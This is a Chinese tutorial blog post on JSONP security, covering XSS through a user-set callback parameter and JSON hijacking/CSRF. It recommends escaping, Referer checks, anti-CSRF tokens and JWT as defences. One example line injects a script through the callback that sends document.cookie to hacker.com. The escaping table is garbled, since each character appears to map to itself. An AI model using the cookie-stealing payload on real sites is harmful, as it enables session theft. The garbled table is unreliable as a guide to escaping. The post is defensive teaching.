在很久之前的一篇文章,我们聊到了AJAX的概念,在更久之前的再上一篇文章,我们聊到了JSONP。
对比一下我们可以发现一个现象,AJAX出于安全性问题,对其进行了同源策略的限制,只有使用CORS才能跨域请求。但是JSONP呢,并没有这方面的限制,也就是说,理论上,使用JSONP可以任意地发送跨域的请求。
当时本篇文章的作者,也就是本人在接触到这方面的知识就在想,任意地发送跨域请求,不就可以随便地获取到想知道的内容吗?这样太危险了吧,应该有什么限制的吧?于是乎我便在网上搜索了相关了资料,发现JSONP的确存在着两个安全风险,不过都有对应的解决办法。
那么今天我们就一起来看一下这两个风险是什么,以及这些风险对应的解决办法,首先我们来看看安全问题是什么:
1.Callback可自定义导致的XSS安全漏洞
2.JSON劫持又称“JSON Hijacking”
XSS安全漏洞
首先来看一下第一个安全问题,Callback的可自定义,什么意思,我们回顾一下上上篇文章中你真的懂JSONP吗?,我们提到的内容:我们通过设置一个callback查询参数,来把页面中的一个函数的函数名传给服务器,然后让服务器端通过回调来调用页面中的函数,这种做法方便了前后端的交互,使得后端在不知道前端页面具体内容的情况下,也能正确地调用想要调用的函数。
我们来看一下以下代码:
<body> <p style="color:red;">您的余额是<span id=amount>&&&amount&&&</span></p> <button id=button>付款</button> <script> $('#button').on('click',function(){ let script=document.createElement('script') script.src='/pay?callback=yyy' document.body.appendChild(script) script.=function(e){ e.currentTarget.remove() } script.=function(e){ alert('fail'); e.currentTarget.remove() } }) window.yyy=function(result){ amount.innerText=result.left } </script></body>
在以下这句代码中,函数名yyy作为查询参数被提交给服务器:
script.src='/pay?callback=yyy'
那么大家有没有想过,如果函数名yyy不是正常的函数名,而是一个script标签怎么办?例如:
script.src='/pay?callback=<srcript>$.get("http://hacker.com?cookie="+document.cookie)</script>'
那么当服务器返回响应的时候,后面这段恶意代码就会被执行,那么用户的隐私信息就会存在泄露的可能,这就是所谓的XSS攻击,这种漏洞一般在一些网页的评论区中尤其容易发生。
解决办法:
对返回的内容进行字符过滤,主要要进行以下五种过滤:
1.把<
替换成<
2.把>
替换成>
3.把&
替换成&
4.把"
替换成"
5.把'
替换成'
若返回的是脚本内容,则过滤之后会被替换成普通的文本格式,脚本将不会执行,则可以成功预防XSS攻击。
CSRF攻击
接下来讲一下JSON劫持,又称CSRF攻击,那到底,什么是CSRF攻击?
我们来打个比方:一天,小明在qq.com
中登录了自己的QQ,这时候,小明在其他网站上打开了一个恶意网站hacker.com
,恶意网站上的一个性感图片深深地吸引了小明的注意力,于是乎小明地点击了这张图片,然后hacker.com
就会发送一个qq.com/add_friends
请求,让当前用户添加了hacker为好友,但是由于小明完全沉浸在了网页的图片中,而不知不觉中添加了hacker作为好友。这就是CSRF攻击。
为什么恶意用户可以无声无息地添加好友,而用户(小明)自己却毫不知情,那是因为用户在登录一些网站以后,这些网站会在返回一个含有用户的隐私信息的cookie以便用户下次访问时能快速地验证用户的个人身份,于是乎,通过JSONP就可以跨域向这些网页发送请求来进行一些非法操作了,并且JSONP还能通过callback函数来获取一些网页返回的隐私信息。
那么如何预防这种CSRF攻击呢?
三种方案:
1.验证JSON文件调用的来源(Referer)
2.采用了anti-csrf-token的方案。
3.采用JWT技术
1.先说第一种:验证JSON文件调用的来源(Referer),HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候,会带上Referer,通过验证Referer,可以判断请求的合法性,如果Referer是其他网站的话,就有可能是CSRF攻击,则拒绝该请求。但有些时候,Referer也是可以伪造的,所以一般还会配合第二种方案。
2.第二种方案:采用了anti-csrf-token,说白了就是一个随机数token,当服务器收到了一个页面请求之后,他会在渲染页面的同时把一个随机数token一并埋入页面中,一般这种埋入是通过写入到form表单中实现的:
<input type="hidden" name="_csrf_token" value="xxxx">
由于token写在了form表单中,因此表单在提交内容时,就会一并带上这个_csrf_token
给服务器验证,若与session中的随机数token一致,那么就表示是正常的请求,否则则代表请求有可能是从非法网页里伪造发送的。
3.第三种方案叫JWT,全称叫作:Json web token,每次提交信息的时候会把Json web token放入请求头的 Authorization中的,他是一种类似于随机数token的方案,但是他有着自己的优点:比如他不需要在服务器端保存会话信息,比如说你使用随机数token,那么每多一个用户,你都需要在他对应的session内存中储存他的验证token,而JWT不需要,服务器只需要保护好secret私钥即可,另外,这种方案有较强的通用性,即他在app也同样可以使用。
作者:宣泽彬
链接:https://www.jianshu.com/p/14f569b13dcc
共同学习,写下你的评论
评论加载中...
作者其他优质文章